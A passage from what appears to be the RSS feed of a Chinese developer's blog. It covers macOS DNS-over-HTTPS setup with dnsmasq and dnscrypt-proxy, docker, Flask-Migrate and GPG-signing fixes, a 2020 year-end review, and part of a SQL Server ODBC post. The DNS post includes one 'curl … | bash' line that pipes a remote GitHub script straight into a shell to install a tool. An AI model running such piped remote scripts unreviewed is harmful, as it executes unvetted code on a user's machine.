卸载服务</span></span><br><span class="line"><span class="comment"># sudo ./smartdns service uninstall</span></span><br></pre></td></tr></tbody></table></figure><p>此时软件会把自己安装到 <code>/usr/local/bin/smartdns</code>，以后你只需要执行 <code>smartdns</code> 就可以控制服务的行为了。</p><p>服务默认使用的配置文件是：<code>/usr/local/etc/smartdns/smartdns.conf</code>，具体各参数可以查看官方文档：</p><p>直接在这个文件的底部加入如下配置即可：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"># ... 默认配置</span><br><span class="line"></span><br><span class="line"># server-tls dns.alidns.com</span><br><span class="line"># server-https https://cloudflare-dns.com/dns-query</span><br><span class="line"># server-https https://dns.alidns.com/dns-query</span><br><span class="line">server-tls 8.8.8.8:853</span><br><span class="line">server-https https://223.5.5.5/dns-query</span><br></pre></td></tr></tbody></table></figure><p><code>smartdns</code> 会默认监听本机的 53 端口。</p><h2 id="使用-dnsmasq-dnscrypt-proxy">使用 dnsmasq &amp; dnscrypt-proxy<a class="header-anchor" href="#使用-dnsmasq-dnscrypt-proxy"></a></h2><h3 id="安装-dnsmasq、dnscrypt-proxy">安装 dnsmasq、dnscrypt-proxy<a class="header-anchor" href="#安装-dnsmasq、dnscrypt-proxy"></a></h3><p>安装很简单，使用 brew：</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">brew install dnsmasq dnscrypt-proxy</span><br></pre></td></tr></tbody></table></figure><h3 id="安装-locationchanger">安装 locationchanger<a class="header-anchor" href="#安装-locationchanger"></a></h3><p><a href="https://github.com/eprev/locationchanger">https://github.com/eprev/locationchanger</a></p><p>执行：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -L https://github.com/eprev/locationchanger/raw/master/locationchanger.sh | bash</span><br></pre></td></tr></tbody></table></figure><p>然后将下面这段代码粘贴到 location changer 脚本 <code>/usr/local/bin/locationchanger</code> 末尾：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">DEFAULT_SCRIPT=<span class="string">"<span class="variable">$HOME</span>/.locations/default"</span></span><br><span class="line"><span class="keyword">if</span> [ -f <span class="string">"<span class="variable">$DEFAULT_SCRIPT</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line">    ts <span class="string">"Running default '<span class="variable">$DEFAULT_SCRIPT</span>'"</span></span><br><span class="line">    <span class="string">"<span class="variable">$DEFAULT_SCRIPT</span>"</span></span><br><span class="line"><span class="keyword">fi</span></span><br></pre></td></tr></tbody></table></figure><p>这样我们连接网络的时候就会运行这个脚本。</p><p>然后我们创建一个文件 <code>$HOME/.locations/default</code> ：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> -p <span class="variable">$HOME</span>/.locations &amp;&amp; <span class="built_in">touch</span> <span class="variable">$HOME</span>/.locations/default</span><br></pre></td></tr></tbody></table></figure><p>内容如下：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/usr/bin/env bash</span></span><br><span class="line"></span><br><span class="line">DNS=`ipconfig getpacket en0|grep domain_name_server|awk -F<span class="string">"[{,}]"</span> <span class="string">'{print $2}'</span>`</span><br><span class="line"><span class="built_in">echo</span> <span class="string">"<span class="variable">$DNS</span>"</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">"nameserver <span class="variable">$DNS</span>"</span> &gt; <span class="string">"<span class="variable">$HOME</span>/upstream.conf"</span></span><br></pre></td></tr></tbody></table></figure><p>这个命令会把路由器下发的 DNS 写入到 <code>$HOME/upstream.conf</code> 文件中。</p><p>然后我们手动执行一遍 <code>locationchanger</code>，将这个文件生成出来。</p><h3 id="配置">配置<a class="header-anchor" href="#配置"></a></h3><h4 id="配置-dnsmasq">配置 dnsmasq<a class="header-anchor" href="#配置-dnsmasq"></a></h4><p>看 brew 提示你的配置文件在哪里，像我的 m1 的 brew 就提示配置文件在 <code>/opt/homebrew/etc/dnsmasq.conf</code>：然后修改这个配置文件的内容：</p><figure class="highlight ini"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 设置只解析域名</span></span><br><span class="line">domain-needed</span><br><span class="line">bogus-priv</span><br><span class="line"></span><br><span class="line"><span class="comment"># 我们刚刚生成的路由器分发的上游 DNS 地址</span></span><br><span class="line"><span class="attr">resolv-file</span>=/Users/xxx/upstream.conf</span><br><span class="line"><span class="comment"># 下文配置的 dnscrypt-proxy 监听地址</span></span><br><span class="line"><span class="attr">server</span>=<span class="number">127.0</span>.<span class="number">0.1</span><span class="comment">#5553</span></span><br><span class="line"><span class="comment"># dnsmasq 的监听地址</span></span><br><span class="line"><span class="attr">listen-address</span>=<span class="number">127.0</span>.<span class="number">0.1</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 打日志出来，好排查问题</span></span><br><span class="line">log-queries</span><br><span class="line"><span class="attr">log-facility</span>=/var/log/dnsmasq.log</span><br></pre></td></tr></tbody></table></figure><h4 id="配置-dnscrypt-proxy">配置 dnscrypt-proxy<a class="header-anchor" href="#配置-dnscrypt-proxy"></a></h4><p>M1 系统的配置文件地址在：/opt/homebrew/etc/dnscrypt-proxy.toml</p><p>这里主要是我个人的配置，我只保留一个阿里云的 DoH，然后把 sources 下的所有内容都注释掉，这样启动会快很多。</p><p>如果保留 sources 下的内容的话，每次启动软件都要去找一个最快的 DNS，要遍历很久。</p><figure class="highlight toml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 监听地址</span></span><br><span class="line"><span class="attr">listen_addresses</span> = [<span class="string">'127.0.0.1:5553'</span>]</span><br><span class="line"><span class="comment"># 打日志出来，好排查问题</span></span><br><span class="line"><span class="attr">log_file</span> = <span class="string">'/var/log/dnscrypt-proxy.log'</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 配置 alidns</span></span><br><span class="line"><span class="section">[static]</span></span><br><span class="line">  <span class="section">[static.'alidns-doh']</span></span><br><span class="line">  <span class="attr">stamp</span> = <span class="string">'sdns://AgAAAAAAAAAACTIyMy41LjUuNSCoF6cUD2dwqtorNi96I2e3nkHPSJH1ka3xbdOglmOVkQ5kbnMuYWxpZG5zLmNvbQovZG5zLXF1ZXJ5'</span></span><br></pre></td></tr></tbody></table></figure><h3 id="参考">参考<a class="header-anchor" href="#参考"></a></h3><ul><li><a href="https://page.codespaper.com/2019/dnsmasq-cloudflare-doh/">https://page.codespaper.com/2019/dnsmasq-cloudflare-doh/</a></li><li><a href="https://github.com/DNSCrypt/dnscrypt-proxy/wiki/Installation-macOS">https://github.com/DNSCrypt/dnscrypt-proxy/wiki/Installation-macOS</a></li><li><a href="https://linux.cn/article-9438-1.html">https://linux.cn/article-9438-1.html</a></li><li><a href="https://www.scriptjc.com/article/1128">https://www.scriptjc.com/article/1128</a></li><li><a href="https://studygolang.com/articles/844">https://studygolang.com/articles/844</a></li><li><a href="https://dnscrypt.info/public-servers/">https://dnscrypt.info/public-servers/</a></li></ul>]]>
      </content:encoded>
    </item>
    <item>
      <title>docker push 时显示 access denied</title>
      <link>https://cat.ms/posts/docker-push-denied-access/</link>
      <description>
        <![CDATA[<p>在 Ubuntu 上使用 docker push 的时候一直报 access denied:</p>
<figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">denied: requested access to the resource is denied</span><br></pre></td></tr></tbody></table></figure>
<p>使用 docker login 之后也不行，给镜像打的标签也是正常的，就很奇怪。</p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/Docker/">Docker</category>
      <category domain="https://cat.ms/tags/Linux/">Linux</category>
      <category domain="https://cat.ms/tags/Docker/">Docker</category>
      <pubDate>Fri, 23 Apr 2021 10:11:55 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>在 Ubuntu 上使用 docker push 的时候一直报 access denied:</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">denied: requested access to the resource is denied</span><br></pre></td></tr></tbody></table></figure><p>使用 docker login 之后也不行，给镜像打的标签也是正常的，就很奇怪。</p><span id="more"></span><h2 id="解决方案">解决方案<a class="header-anchor" href="#解决方案"></a></h2><p>其实这也是个很神奇的问题，你会发现这篇文章有个 tag 是 Linux。</p><p>因为 docker login 会把用户信息保存在当前的用户路径下，从 login 后会有一个『你是使用明文密码登录』的提示可以看出这一点。</p><figure class="highlight txt"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">WARNING! Your password will be stored unencrypted in /home/xxxx/.docker/config.json.</span><br><span class="line">Configure a credential helper to remove this warning. See</span><br><span class="line">https://docs.docker.com/engine/reference/commandline/login/#credentials-store</span><br><span class="line"></span><br><span class="line">Login Succeeded</span><br></pre></td></tr></tbody></table></figure><p>我在一个普通账户下，而且 docker login 没加 sudo，但后面我却使用了 sudo docker push…</p><p>so 在 root 账户下，docker 是没有登录信息的，所以就一直推不上去。</p><p>所以大家要检查的是自己当前的操作系统的登录用户是否有 docker 登录信息。</p><h2 id="相关问题">相关问题<a class="header-anchor" href="#相关问题"></a></h2><p>在搜索过程中发现大家推不上去几乎都是同一个问题，推镜像的时候没有加 scope。</p>]]>
      </content:encoded>
    </item>
    <item>
      <title>Flask-Migrate migrate 不生效</title>
      <link>https://cat.ms/posts/flask-migrate-no-change/</link>
      <description>
        <![CDATA[<p>耗费了一个晚上，把这个坑趟平了。</p>
<p>想使用 flask-migrate 插件做数据库版本管理，但是一直遇到这个问题。</p>
<figure class="highlight txt"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">INFO  [alembic.runtime.migration] Context impl MySQLImpl.</span><br><span class="line">INFO  [alembic.runtime.migration] Will assume non-transactional DDL.</span><br><span class="line">INFO  [alembic.env] No changes in schema detected.</span><br></pre></td></tr></tbody></table></figure>
<p>各种方法都尝试过了，在每个地方都试了引入了 <code>models</code> 里的内容、调整使用 flask script 等等等等…</p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/flask/">flask</category>
      <category domain="https://cat.ms/tags/Flask/">Flask</category>
      <pubDate>Thu, 22 Apr 2021 03:46:40 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>耗费了一个晚上，把这个坑趟平了。</p><p>想使用 flask-migrate 插件做数据库版本管理，但是一直遇到这个问题。</p><figure class="highlight txt"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">INFO  [alembic.runtime.migration] Context impl MySQLImpl.</span><br><span class="line">INFO  [alembic.runtime.migration] Will assume non-transactional DDL.</span><br><span class="line">INFO  [alembic.env] No changes in schema detected.</span><br></pre></td></tr></tbody></table></figure><p>各种方法都尝试过了，在每个地方都试了引入了 <code>models</code> 里的内容、调整使用 flask script 等等等等…</p><span id="more"></span><h2 id="解决方案">解决方案<a class="header-anchor" href="#解决方案"></a></h2><p>因为我的数据库已经启动了，我的数据库和我的 <code>models</code> 内容是一致的。所以这句话不会生效…</p><p>所以 migrate 最好的时机是没有建立数据库之前…</p><p>然后我就删库重来了，删库之后 migrate 果然成功了。</p><h2 id="其他踩坑">其他踩坑<a class="header-anchor" href="#其他踩坑"></a></h2><p>看了一下大部分网友的坑都是没有引入 <code>models</code> 的内容，这个需要注意一下就好。</p><p>注意不要循环引用。</p><p>migrate 要在 <code>db.init</code> 之后。</p>]]>
      </content:encoded>
    </item>
    <item>
      <title>MacOS 『重新生成』 /etc/resolv.conf</title>
      <link>https://cat.ms/posts/macos-regenerate-resolv-dot-conf/</link>
      <description>
        <![CDATA[<p>想自己本地架个 DNS 服务器，中途不小心把 <code>/etc/resolv.conf</code> 删除了，想着重启恢复还是怎么样，重启多遍发现没有什么用。</p>
<p>于是搜索了一下，发现其实 <code>/etc/resolv.conf</code> 只是 <code>/var/run/resolv.conf</code> 的一个软链接。</p>
<p><img src="https://i.cat.ms/uPic/2rrWP7.png" alt="soft link"></p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/MacOS/">MacOS</category>
      <pubDate>Sat, 03 Apr 2021 08:57:34 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>想自己本地架个 DNS 服务器，中途不小心把 <code>/etc/resolv.conf</code> 删除了，想着重启恢复还是怎么样，重启多遍发现没有什么用。</p><p>于是搜索了一下，发现其实 <code>/etc/resolv.conf</code> 只是 <code>/var/run/resolv.conf</code> 的一个软链接。</p><p><img data-src="https://i.cat.ms/uPic/2rrWP7.png" alt="soft link"></p><span id="more"></span><h2 id="解决方案">解决方案<a class="header-anchor" href="#解决方案"></a></h2><p>所以解决办法就很简单了：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> <span class="built_in">ln</span> -s /var/run/resolv.conf /etc/resolv.conf</span><br></pre></td></tr></tbody></table></figure><h2 id="参考">参考<a class="header-anchor" href="#参考"></a></h2><ol><li><a href="https://apple.stackexchange.com/questions/264165/how-to-force-macos-to-regenerate-etc-resolv-conf-file">How to force MacOS to regenerate /etc/resolv.conf file?</a></li></ol>]]>
      </content:encoded>
    </item>
    <item>
      <title>VSCode WSL 中使用 GPG 对 Git 记录进行签名</title>
      <link>https://cat.ms/posts/wsl2-gpg/</link>
      <description>
        <![CDATA[<p>最近配置了一下 git 的 GPG，但是在使用 VSCode WSL 进行 git commit 的时候就提示：</p>
<figure class="highlight txt"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Git: gpg failed to sign the data</span><br></pre></td></tr></tbody></table></figure>
<p>详细输出如下：</p>
<figure class="highlight txt"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&gt; git -c user.useConfigOnly=true commit --quiet --allow-empty-message --file -</span><br><span class="line">error: gpg failed to sign the data</span><br><span class="line">fatal: failed to write commit object</span><br></pre></td></tr></tbody></table></figure>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/GPG/">GPG</category>
      <category domain="https://cat.ms/tags/VSCode/">VSCode</category>
      <category domain="https://cat.ms/tags/WSL/">WSL</category>
      <category domain="https://cat.ms/tags/GPG/">GPG</category>
      <pubDate>Sun, 28 Feb 2021 03:02:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>最近配置了一下 git 的 GPG，但是在使用 VSCode WSL 进行 git commit 的时候就提示：</p><figure class="highlight txt"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Git: gpg failed to sign the data</span><br></pre></td></tr></tbody></table></figure><p>详细输出如下：</p><figure class="highlight txt"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&gt; git -c user.useConfigOnly=true commit --quiet --allow-empty-message --file -</span><br><span class="line">error: gpg failed to sign the data</span><br><span class="line">fatal: failed to write commit object</span><br></pre></td></tr></tbody></table></figure><span id="more"></span><h2 id="原因">原因<a class="header-anchor" href="#原因"></a></h2><p>原因是你没有 「输入」 你设置的 gpg key 的密码，因为使用 VSCode WSL 的时候，没有一个图形界面让你输密码，所以 gpg 无法 sign 你的 commit。</p><p>在 Windows 图形界面下，gpg 会弹出一个 Pinentry 的 dialog 框让你输密码。而我们在使用 VSCode WSL 时，WSL 并没有使用到图形界面（XServer）。</p><h2 id="解决方法">解决方法<a class="header-anchor" href="#解决方法"></a></h2><p>解决方法很简单：</p><p>gpg 会缓存我们第一次输入的密码，一段时间内我们多次对数据签名不需要重复输入密码，所以我们可以写一个 shell 函数，每次手动输入好了 gpg 的密码后，再使用 vsc 提交 commit。</p><p>如下两个函数：</p><figure class="highlight sh"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">gpg-<span class="function"><span class="title">login</span></span>() {</span><br><span class="line">    <span class="built_in">export</span> GPG_TTY=<span class="variable">$TTY</span></span><br><span class="line">    <span class="comment"># 对 "test" 这个字符串进行 gpg 签名，这时候需要输密码。</span></span><br><span class="line">    <span class="comment"># 然后密码就会被缓存，下次就不用输密码了。</span></span><br><span class="line">    <span class="comment"># 重定向输出到 null，就不会显示到终端中。</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">"test"</span> | gpg --clearsign &gt; /dev/null 2&gt;&amp;1</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">gpg-<span class="function"><span class="title">logout</span></span>() {</span><br><span class="line">    <span class="built_in">echo</span> RELOADAGENT | gpg-connect-agent</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>在终端中输入 <code>gpg-login</code>，就会出现输密码的框，输入完密码之后该密码会被缓存，之后在 VSCode 进行 commit 的时候不用输密码了。</p><p>输入 <code>gpg-logout</code> 就可以清除你 <code>gpg</code> 密码的缓存。</p><p>虽然不是解决办法，但使用起来也还算方便，也能忍。</p><p>关于我 Shell 的一些其他配置，可见：<a href="https://github.com/bytemain/dotfiles/blob/master/ubuntu_wsl/zshrc">ubuntu_wsl/zshrc</a>。</p><h2 id="配置-gpg-缓存时间">配置 gpg 缓存时间<a class="header-anchor" href="#配置-gpg-缓存时间"></a></h2><p>编辑这个文件 <code>~/.gnupg/gpg-agent.conf</code>：</p><p>添加如下内容，就可以将密码缓存 1 小时。</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">default-cache-ttl 3600</span><br><span class="line">max-cache-ttl 3600</span><br></pre></td></tr></tbody></table></figure><p>单位是秒。</p><h2 id="参考链接">参考链接<a class="header-anchor" href="#参考链接"></a></h2><ul><li><a href="https://stackoverflow.com/questions/61939216/vscode-with-ubuntu-wsl-2-never-prompts-for-gpg-passphrase-even-after-configura">vscode with ubuntu + wsl 2 never prompts for gpg passphrase even after configuration just “failed to write commit data”</a></li><li><a href="https://askubuntu.com/questions/349238/how-can-i-clear-my-cached-gpg-password">How can I clear my cached gpg password?</a></li></ul>]]>
      </content:encoded>
    </item>
    <item>
      <title>我和世界的 2020</title>
      <link>https://cat.ms/posts/2020-summary/</link>
      <description>
        <![CDATA[<p>2020/01/14，离开学校回家，那时候是很难想象到这一年会是这个样子的。</p>
<p>今年大四，选择了工作，也不知道会不会后悔没有保研。</p>
<p>感觉这一年学了很多东西，但也感觉自己还是会的太少。</p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/">年终总结</category>
      <pubDate>Thu, 31 Dec 2020 14:10:48 GMT</pubDate>
      <content:encoded>
        <![CDATA[<p>2020/01/14，离开学校回家，那时候是很难想象到这一年会是这个样子的。</p><p>今年大四，选择了工作，也不知道会不会后悔没有保研。</p><p>感觉这一年学了很多东西，但也感觉自己还是会的太少。</p><span id="more"></span><h2 id="先上图">先上图<a class="header-anchor" href="#先上图"></a></h2><p><img data-src="https://i.cat.ms/posts/2020-summary/github_contributions.png" alt="github_contributions.png"></p><p><img data-src="https://i.cat.ms/posts/2020-summary/wakatime.png" alt="wakatime.png"></p><h2 id="大概沿着时间线说">大概沿着时间线说<a class="header-anchor" href="#大概沿着时间线说"></a></h2><p>年初的假期，因为疫情几乎就都在家里。就在随便学学，也一直在写 QQ 机器人，后面机器人自动提醒某门课出成绩的时候还挺惊心动魄的。</p><h3 id="疫情">疫情<a class="header-anchor" href="#疫情"></a></h3><p>点击查看青春伤痕文学 -&gt; <a href="https://telegra.ph/%E6%88%91%E5%92%8C%E4%B8%96%E7%95%8C%E7%9A%84-2020---%E7%96%AB%E6%83%85%E7%AF%87-01-02">我和世界的 2020 - 疫情篇</a></p><h3 id="随便学学">随便学学<a class="header-anchor" href="#随便学学"></a></h3><p>看了很多的教程。Java/JavaScript/Python 都有，也记不太清了。</p><p>印象很深的就是用 Java JWT 实现各种算法的可视化效果，感觉很有意思。</p><p>也看了 electron 的视频，感觉还是挺有意思的。跟着实现了一个 electron 远程控制的程序，展示页面是用 Vue 写的，也顺便试了试 Vite。也算了了一个心愿，就是学 Vue，后面帮舍友解决不少问题的时候自己也了解了很多。尤雨溪的 vite 开发体验很不错，让浏览器解析 esm，秒开的速度妙极了。</p><p><a href="https://github.com/richardchien">rc 前辈</a> 在学操作系统相关的东西，自己跟着学了一下，感觉很有体会。所以也使用了 rust，对基本概念还是了解，但是现在几乎都想不起来什么了，因为很久没使用就忘了…</p><p>疫情期间就在家上课，无论是课上还是自己随便看的，零零散散的学了很多东西。</p><h3 id="上课学学">上课学学<a class="header-anchor" href="#上课学学"></a></h3><p>课上学了 Java，现在用的也算比较熟练。而且在这门课的课设实现了一个 <a href="https://github.com/vcrx/java-chatroom">简单的聊天软件</a>，使用 swing 写的界面，使用了 TCP 协议做通信。也对 Java 的工程化开发有了一个概念，了解了怎么使用第三方库。</p><p>在课上也学了 flutter，感觉开发体验和 React 接近，有 Material Design 的工具包，界面写起来也算简单。Dart 作为一个集众家之所长的语言，还是不错的，有印象的就是完善的静态类型，但是写起来有一点动态的感觉。</p><p>选修了设计模式，也算是对设计模式有所了解。</p><p>剩下的几门课都跟硬件有关了，嵌入式，微机原理。</p><h3 id="找工作">找工作<a class="header-anchor" href="#找工作"></a></h3><p>上完大三最后一节课，暑假期间开始找工作，遇到了很多好的面试官，从一开始的不敢面试，然后慢慢面试越来越有勇气了。</p><p>这里印象最深的一下面 WXG 遇到的面试官 <a href="https://github.com/alsotang">alsotang</a>，开始也不知道是大佬，后来搜索了一下才发现真的是大佬。在 Nodejs 开源社区看到了好多他的身影，可惜在 WXG 二面挂了~ 然后后来还在一直保持联络。</p><p>在这之后还有一个新尝试就是上了一次捕蛇者说聊了聊校招，去丢人了。是大佬们的绿叶。</p><p>最终选择了蚂蚁的 offer，去做 IDE，工程化相关这一块。</p><h3 id="读研和工作的选择">读研和工作的选择<a class="header-anchor" href="#读研和工作的选择"></a></h3><p>读研能给我带来的好处：</p><ol><li>更高的学历</li><li>更多空闲时间（自己的时间）来学习新东西（各种各样的东西）</li><li>maybe 更大的未来空间</li></ol><p>咨询过实验室老师的意见，他说：” 本科是写代码，读研是解决具体的问题。“。</p><p>看了一下北邮的网络技术研究院的招生，全部方向都跟 <code>机器智能</code> 有关，问了一下北邮的学长，他说这些都是给外面看的，进到了具体的组还得可能是写代码。</p><p>如果选择工作的话，能：</p><ol><li>赚钱</li><li>提前掌控自己的生活</li><li>maybe 更多的业务（技术）能力</li></ol><p>也没法比较读研和工作的压力。</p><p>但有一点是肯定的，在大厂呆三年出来找工作肯定比读研三年出来找工作方便的多。</p><h3 id="QQ-机器人">QQ 机器人<a class="header-anchor" href="#QQ-机器人"></a></h3><p>六月十九号，加入了 NoneBot 的 organization。</p><p>我平常就在使用 QQ 机器人，比较有趣的一件事是：8 月份 CoolQ 停运了，原因是晨风机器人的作者进局子了，然后大量的机器人框架都停止开发。</p><p>然后开源的 mirai 躲了一段时间的风声又重新开始开发，同时又有大手子使用 Go 重新写了一版，现在社区还算兴盛。</p><p>也是最近在忙的是就是给 NoneBot2 加上了钉钉的支持，整个逻辑也有很大的改变。</p><h3 id="写代码">写代码<a class="header-anchor" href="#写代码"></a></h3><p>看完了《第一行代码》，跟着写了一下里面的天气应用。</p><p>又学了 kotlin，感觉这是一门非常甜的语言，用起来也挺舒服的，类型系统玩出了花。</p><p>也了解了 gradle, maven 这些。</p><p>自己想写一个 coloros 系统的工具，写了一半也没在写了。后面陆续又有一些想法，但是安卓的开发已经太多东西要注意了，也都是一知半解。</p><p>也想写 vscode 插件，也是懂了个半吊子。</p><p>就是接了一个外包比较闹心，感觉给的钱太少了。不过自己也学到很多东西，</p><ul><li>感觉熟练使用了 sqlalchemy，以前都觉得好难</li><li>第一次尝试写前端大屏页面</li><li>感觉 flask 都用熟练了</li></ul><p>最近又在写毕设，感觉 C 语言也熟练了 orz</p><h3 id="其他">其他<a class="header-anchor" href="#其他"></a></h3><p>自己也在学日语，五十音都背完了，词汇语法也在慢慢学习中。</p><p>前段时间拿到了一个 Coding 的抱枕，挺开心的。</p><h2 id="今年最有成就感的事情是什么？">今年最有成就感的事情是什么？<a class="header-anchor" href="#今年最有成就感的事情是什么？"></a></h2><ol><li>能保研没保。</li><li>拿了蚂蚁腾讯的校招 Offer。</li></ol><h2 id="看的书">看的书<a class="header-anchor" href="#看的书"></a></h2><p>说一些很有印象的编程书吧</p><ul><li>JavaScript 语言精粹</li><li>第一行代码<br>第三版基于安卓 10 和 kotlin，看完了对安卓系统的开发有了一个整体的概念。</li><li>Flask Web 开发 - 基于 Python 的 Web 应用开发实战<br>这本很不错啊，例子合适，作者也是 flask_sqlalchemy 的开发者，使用了很多技巧，很有收获。</li></ul><p>把习大大的七年知青岁月看完了。</p><p>紫金陈的几部推理都很好看。</p><h2 id="看的剧">看的剧<a class="header-anchor" href="#看的剧"></a></h2><p>年初的时候看的《爱情公寓 5》，印象深刻的是诸葛大力，狗哥。</p><p>年中吧，又有一部小众剧《我的刺猬女孩》真的爱了，庄达菲真好看。</p><p>年中跟同学去看了《八佰》</p><p>《隐秘的角落》</p><p>《后翼弃兵》</p><p>在小破站看了《信条》，《姜子牙》。</p><p>最近在看《巡回检查组》，还不错。</p><h2 id="去哪了">去哪了<a class="header-anchor" href="#去哪了"></a></h2><p>2020 的春节本来打算去珠海澳门玩玩的，港澳通行证都办好了，计划都写得好好的。然后因为疫情就取消了计划。</p><p>不过今年的机票真便宜。</p><h2 id="总的来说">总的来说<a class="header-anchor" href="#总的来说"></a></h2><p>又是在计算机上摸爬打滚的一年。</p>]]>
      </content:encoded>
    </item>
    <item>
      <title>SQLServer 不同 ODBC 驱动的区别</title>
      <link>https://cat.ms/posts/sqlserver-odbc-driver/</link>
      <description>
        <![CDATA[<style>
table {
    word-break: keep-all;
}
</style>
<p>使用 pyodbc + sqlalchemy 连接 SQLServer 数据库的时候遇到一个报错： <code>[IM002] [Microsoft][ODBC 驱动程序管理器] 未发现数据源名称并且未指定默认驱动程序 (0) (SQLDriverConnect)</code>。</p>
<p>查阅 <a href="https://docs.sqlalchemy.org/en/14/dialects/mssql.html#module-sqlalchemy.dialects.mssql.pyodbc">sqlalchemy mssql + pyodbc 数据库文档</a> 后发现：</p>
<p>需要装 ODBC 驱动。并且如果你要是用 hostname 方式来连接数据库的话，还需要指定驱动名字，但是发现有好多种 driver，一个 driver 还有不同的名字。于是研究了一番。</p>]]>
      </description>
      <author>Artin</author>
      <category domain="https://cat.ms/categories/SQLServer/">SQLServer</category>
      <category domain="https://cat.ms/tags/ODBC/">ODBC</category>
      <category domain="https://cat.ms/tags/pyodbc/">pyodbc</category>
      <pubDate>Tue, 29 Dec 2020 05:42:31 GMT</pubDate>
      <content:encoded>
        <![CDATA[<style>table {    word-break: keep-all;}</style><p>使用 pyodbc + sqlalchemy 连接 SQLServer 数据库的时候遇到一个报错： <code>[IM002] [Microsoft][ODBC 驱动程序管理器] 未发现数据源名称并且未指定默认驱动程序 (0) (SQLDriverConnect)</code>。</p><p>查阅 <a href="https://docs.sqlalchemy.org/en/14/dialects/mssql.html#module-sqlalchemy.dialects.mssql.pyodbc">sqlalchemy mssql + pyodbc 数据库文档</a> 后发现：</p><p>需要装 ODBC 驱动。并且如果你要是用 hostname 方式来连接数据库的话，还需要指定驱动名字，但是发现有好多种 driver，一个 driver 还有不同的名字。于是研究了一番。</p><span id="more"></span><h2 id="怎么这么多驱动">怎么这么多驱动<a class="header-anchor" href="#怎么这么多驱动"></a></h2><p>引用并重新编辑一下 <a href="https://docs.microsoft.com/zh-cn/sql/connect/connect-history?view=sql-server-ver15#odbc">Microsoft SQL Server 的驱动程序历史记录 - SQL Server | Microsoft Docs</a> 中一段很清晰的描述：</p><p>有三代不同的 Microsoft ODBC Driver for SQL Server。</p><ul><li>第一代 “SQL Server” ODBC 驱动程序仍作为 <a href="https://docs.microsoft.com/en-us/sql/connect/connect-history?view=sql-server-ver15#microsoft-or-windows-data-access-components">Windows Data Access 